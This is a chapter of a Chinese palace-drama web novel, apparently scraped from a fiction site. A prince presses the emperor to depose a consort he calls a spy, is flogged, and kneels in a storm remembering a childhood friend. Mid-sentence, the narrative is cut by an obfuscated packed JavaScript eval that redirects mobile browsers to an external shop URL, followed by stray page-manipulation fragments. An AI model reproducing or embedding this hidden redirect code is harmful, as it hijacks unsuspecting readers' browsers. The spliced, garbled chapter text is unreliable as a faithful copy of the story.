文趣网 > 都市小说 > 清平年 > 24. 等待进入网审
    “你这么早就来了?”萧瑾珉撑着坐直了些,语气里带着一丝疲惫,“刺客的事我不是说了不用查了。”

    “臣弟不是来跟皇兄说刺客的事。”

    萧瑾珉顿了一下,抬头看他。

    萧瑾瑜往前走了两步,站在龙榻前三步远的地方,垂在身侧的手微微握成了拳。他看着萧瑾珉,目光里有一种沉甸甸的、几乎要压垮人的认真。

    “臣请陛下,”他一字一句地说,“废贵妃。”

    殿里安静了一瞬。

    萧瑾珉以为自己听错了,微微偏了偏头:“你说什么?”

    “废了梦婉荷的妃位。”萧瑾瑜重复了一遍,声音比方才更沉,“或者杀了她。”

    萧瑾珉的脸色骤然变了,猛的坐直,“你疯了?”萧瑾珉的声音拔高了几分,带着难以置信的怒意,“她替朕挡了一刀!她差点死了!你现在让朕杀了她?”

    “陛下,不要自欺欺人了,你难不成还要让臣再解释解释她为什么给你挡刀,你明明自己清楚。”

    萧瑾珉沉默了,他自己是清楚,可他不想信,不愿计较,但萧瑾瑜显然不打算放下此事,不依不饶,铁了心的要叫醒装睡的人。

    “她替陛下挡那一刀,不是因为爱你,是为了脱身。”萧瑾瑜的语速不快,每一个字都咬得极重极清,“那晚的刺客是她的人,或者说,是太后的人。她怕刺客被活捉供出幕后,才扑上去挡的那一刀,陛下想想,一个深宫贵妃,在刀锋袭来时不躲不闪,偏偏扑得那么准,偏偏只伤了肩膀,这世上哪有这么巧的事?”

    萧瑾珉的呼吸急促起来,胸膛剧烈起伏:“你、你住口——”

    “皇兄让臣住口,臣也要把话说完。”萧瑾瑜不退反进,又往前逼了一步,声音冷得像冬日的刀刃,“梦婉荷是太后安插在陛下身边的棋子,从她入宫那天起,我就着手调查她,太后为了一步步架空陛下的皇权,才培养了这么一个独特的死士,那些反对太后涉政的官员,一个个被贬谪罢官,是谁在枕边吹的风?陛下二十日里有八日不上早朝,折子堆成了山,是谁缠着你不许上朝?”

    “是谁居心不良?是谁祸乱朝纲?!”萧瑾瑜语气加重。

    “朕让你住口!”萧瑾珉抓起身旁的药碗朝萧瑾瑜砸了过去。

    萧瑾瑜没有躲,药碗擦着他的肩头飞过,砸在身后的金砖上,溅了他一身药汁,玉碗摔在地上,发出一声脆响。碎片弹开,有一片划过他的颧骨,留下一道细小的血痕。

    他没有擦。

    “七夕那晚,”萧瑾瑜的声音忽然低了下来,“陛下为何会出宫?”

    萧瑾珉浑身一震。

    “她跟你说,想看看民间的灯会,对不对?”萧瑾瑜的目光像两把刀子,直直地钉在萧瑾珉脸上,“她说不要带侍卫,带了侍卫就没意思了,对不对?她说只有你们两个人,像寻常夫妻一样,对还是不对?!”

    萧瑾珉的嘴唇在发抖。

    “陛下和她,放了孔明灯吧?”萧瑾瑜的声音轻得像一片落叶,可落在萧瑾珉心上,却重如千斤,“灯刚飞上天,刺客就到了。”

    殿里死一般的寂静。

    萧瑾珉的瞳孔猛地缩紧了。他想起那夜,梦婉荷靠在他肩头,指着天上飘过的孔明灯说“阿珉你看,好漂亮”,他笑着问她想不想也放一盏,她眼睛亮亮地点头,他们一起点燃了灯,一起松手,看着那盏灯摇摇晃晃地升上夜空,混入满天的灯火里。

    灯刚飞上天,刀光就到了。

    那不是巧合。

    萧瑾珉的手开始发抖,像是寒冬腊月被人兜头浇了一盆冷水,从指尖一直冷到心底,他张了张嘴,想说什么,喉咙却像被什么东西掐住了,只发出嘶哑的气音。

    “那个孔明灯,”萧瑾瑜的声音不依不饶地追上来,“是暗号。”

    “够了。”萧瑾珉的声音忽然变得很轻,轻到几乎听不见。

    “陛下——”

    “朕说够了!滚!!!滚出去!”萧瑾珉猛地抬脚使出浑身力气踹向萧瑾瑜。

    萧瑾珉抬起头,眼眶通红,像一头被逼到绝路的困兽,他死死地盯着萧瑾瑜,胸口剧烈地起伏着,猛的咳嗽起来。

    萧瑾瑜看着他,没有再说话。

    殿外有风穿过长廊,吹得窗棂上的竹帘哗哗作响,那声音在空旷的殿宇里回荡,像一声声叹息。

    萧瑾珉低下头,双手撑着床榻的边缘,指节泛白。

    “她是朕的……她是朕这辈子,第一个……”他的声音断断续续的,“第一个不让朕觉得……朕只是个皇帝的人。”

    萧瑾瑜沉默了片刻。

    “臣知道,”他说,声音比方才轻了很多,“但她不是。”

    萧瑾珉的肩膀剧烈地颤了一下。

    “她从第一天起,就知道陛下是皇帝。”萧瑾瑜的目光落在对方低垂的头顶上,那目光里是可怜,“她做的每一件事,说的每一句话,都是带着计谋的,甚至连万寿节那日初遇,都是提前准备了好久的,皇兄以为的真心,不过是她演了千百遍的戏。”

    “梦婉荷,”萧瑾瑜突然冷笑了一声,“连名字都是假的。”

    “你住口……”萧瑾珉的声音已经带上了哭腔,“你住口……”

    “臣不能住口。”萧瑾瑜的声音又沉了下去,像一块石头沉入深潭,“臣必须为江山社稷说话,为黎民百姓说话。”

    萧瑾珉猛地抬起头,用一种近乎狰狞的目光瞪着萧瑾瑜。

    “你凭什么?”他的声音嘶哑得像砂纸刮过铁器,“你凭什么来教朕?你凭什么——”

    萧瑾瑜不回答萧瑾珉的话,直挺挺的跪倒地上,“请陛下废妃。”

    “闭嘴!”

    “请陛下废妃!”

    “来人……来人!把这个以下犯上的平王拖出去!杖责五十!”萧瑾珉无措的站起身,无助的在大殿里喊。

    “请陛下废妃!”

    “请陛下废妃!”

    “请陛下,废妃!”

    萧瑾瑜像只会说这五个字一样,一直重复着,被人拖到殿外依旧没停。

    板子打在身上,萧瑾瑜依旧没停,一直重复着那五个字。

    德昌站在一旁,嘴唇翕动了一下,终究没敢开口,他飞快地看了萧瑾瑜一眼,眼里满是焦急,五十杖,寻常文官挨上三十杖就要卧床半月,就算萧瑾瑜武艺在身,五十杖也绝不是闹着玩的。

    德昌将身旁的小太监叫到一旁,耳语了几句,小太监领命,一溜烟跑出了宫门。

    打到第三十杖,萧瑾瑜依旧没停,只是声音不大,甚至有些哑,却一字一句清晰得像刻在石板上:“陛下……废妃……以社稷为重……”

    萧瑾珉坐在榻上,手指死死扣着扶手,指节发白。他没有说话,也没有喊停。

    第三十五杖。

    “废妃……”萧瑾瑜的声音低了下去,却依然固执地重复着,“以社稷为重……”

    第四十杖,萧瑾瑜没有再喊,不是喊不动,是他把牙关咬得太紧,咬到嘴角溢出血丝,把所有力气都用来撑住那根快要散架的脊梁。

    五十杖打完,周遭安静得只剩下粗重的喘息声。

    萧瑾瑜伏在刑凳上,双手还死死扣着边缘,指尖的血色和木头的颜色混在一起,他的后背被汗水浸透,袍子下摆已经被血洇成了暗红色,触目惊心。

    但他没有昏过去。

    德昌走上前,蹲下身,声音轻得像怕惊动什么:“王爷……陛下问,您知错了没有?”

    萧瑾瑜伏在那里,缓了很久,慢慢抬起头。

    他的脸色白得像纸,嘴唇上全是咬破的血痕,汗水混着头发糊了满脸,但他的眼睛很亮,亮得像淬了火的刀锋,像是有什么东西在里面烧,烧得整座偏殿都跟着发烫。

    他开口,声音沙哑到几乎听不见,却一个字一个字说得极慢极清楚:“请……陛下……废妃。以社稷……为重。”

    德昌的眼眶一下就红了。

    他站起身,几乎是踉跄着跑回去传话,殿门没关严,他从门缝里看见萧瑾珉坐在榻上,双手撑着膝盖,头低着,肩膀在发抖。

    “陛下……”德昌的声音也哑了,“王爷他……他说……”

    “他说什么?”萧瑾珉猛地抬起头,眼底全是血丝。

    德昌闭了闭眼,跪了下去:“王爷说,请陛下废妃,以社稷为重。”

    殿内安静了一瞬。

    紧接着是一声巨响,萧瑾珉把案上最后一只茶盏扫到了地上,瓷器碎裂的声音尖锐得像某种哀鸣。

    “他疯了吗?!”萧瑾珉站起来,在殿内来回踱步,声音又急又躁,带着一种近乎失控的颤意,“五十大板!五十大板都打不服他?!他是不是真的以为朕不敢杀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633677|205601||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他?是不是?!”

    德昌跪在地上,不敢抬头,也不敢接话,只盼着传话的快些回来。

    萧瑾珉走到殿门口,猛地拉开门,看着趴着不能动弹的萧瑾瑜。

    他攥紧了门框,指节咯咯作响。

    “让他跪着。”萧瑾珉的声音忽然冷了下来,冷到不像他自己的,“让他跪在外面,跪到他想通了,跪到他主动收回那些混账话为止。”

    德昌浑身一颤:“陛下,王爷的伤——”

    “跪着!”萧瑾珉猛地转身,眼眶通红,声音却大得周围的人都被吓得发抖,“朕说跪着!谁敢扶他,朕连带一起罚!”

    德昌不敢再劝,跌跌撞撞地跑出去传旨。

    萧瑾瑜被人从刑凳上架起来的时候,已经站不太稳了。两个侍卫一左一右搀着他,他咬着牙,一步一步往长阶下走,每一步都像踩在刀尖上,双腿打颤,鲜血顺着袍角往下滴,在青石地面上留下一串暗色的印记。

    侍卫松开手的时候,他晃了一下,用手撑住了地面,缓了缓,慢慢直起上身,跪正了身子,腰背挺得笔直,像他这个人一样,骨头硬得很。

    膝下的石砖冰凉刺骨。

    天边滚过一声闷雷。

    萧瑾瑜抬起头,看见原本还好好的天空此刻已经被浓云吞没,风忽然大了,裹着雨腥气灌进宫道,吹得廊下的官灯东摇西晃。

    第一滴雨落下来的时候,砸在他的手背上。

    然后是第二滴,第三滴。

    眨眼之间,暴雨倾盆。

    雨幕如瀑,铺天盖地地浇下来,天地间只剩下白茫茫一片。雨水顺着他的额头往下淌,淌过眼睛、鼻梁、嘴角,把血迹冲淡,晕开在青石板上,又被新的雨水冲走,袍子湿透了,贴在身上,沉甸甸的,像是压了千斤重担。

    他没有动。

    跪在雨里,像一尊石像。

    伤口被雨水一泡,痛楚比方才挨杖时还要钻心,像是无数根针同时在骨头缝里扎,他的嘴唇已经没了血色,冻得发紫,身体在微微发抖,可他依然跪得笔直。

    他想起了很多事。

    想起了很多年前,他还不是平王,萧瑾珉还不是皇帝,那时候他一直借住在沈清辞家里,一切都没有烂到如今这个地步。

    那一年沈清辞多大?十岁?十一岁?

    小小的少年坐在丞相府后院的秋千上,手里捧着一卷《治安策》,夕阳把他的影子拉得很长,萧瑾瑜那时还是个小孩子,一直跟着沈清辞做小尾巴。

    沈清辞看的入迷,不理他,他问:“你在看什么?”

    沈清辞抬起头,弯着眼睛笑了,那笑容明亮得不像话:“在看怎么把大晏治好。”

    萧瑾瑜当时觉得沈清辞傻。

    “治不好。”他站在沈清辞身边,声音很淡,“大晏已经烂了。”

    “那就重新长。”沈清辞说,语气笃定得像在说太阳明天还会升起来,“烂掉的枝干砍掉,腐掉的根挖出来,重新种,好好浇,总会好的。”

    沈清辞合上书,仰着脸看他,那双眼睛里映着漫天霞光,亮得惊人,“我以后的愿望,就是亲手治理出一个清平盛世。到时候路不拾遗,夜不闭户,百姓不用怕打仗,人人都能过得好,你说好不好?”

    他记住了那个画面,那个坐在夕阳里的小小少年,那个说着“重新长”的人,那双比霞光还亮的眼睛。

    他又想起哪夜的谈话。

    “我不想陛下因为感情,”沈清辞的声音放得很轻,像是自言自语,又像是在说给头顶那轮月亮听,“变成一个无能的君主。”

    暴雨还在下。

    萧瑾瑜跪在雨里,雨水顺着脊背流下来,流过那些被廷杖打烂的皮肉,疼得像刀割,可他的嘴角却微微动了一下。

    居远想要一个清平盛世,他想满足居远,他也答应过居远帮居远看着萧瑾珉……

    那个坐在夕阳里的小小少年,用比霞光还亮的眼睛看着他,问他“你说好不好”。

    好。

    他说好。

    所以不能倒,不能认错,不能收回那句话,梦婉荷必须废,朝纲必须清,太后必须倒,大晏必须好起来。

    哪怕要他跪死在这里。

    雨幕中,那道跪得笔直的身影,像一根钉进地里的石柱,雷声从远处滚过来,闪电劈开天幕,将整座皇宫照得惨白。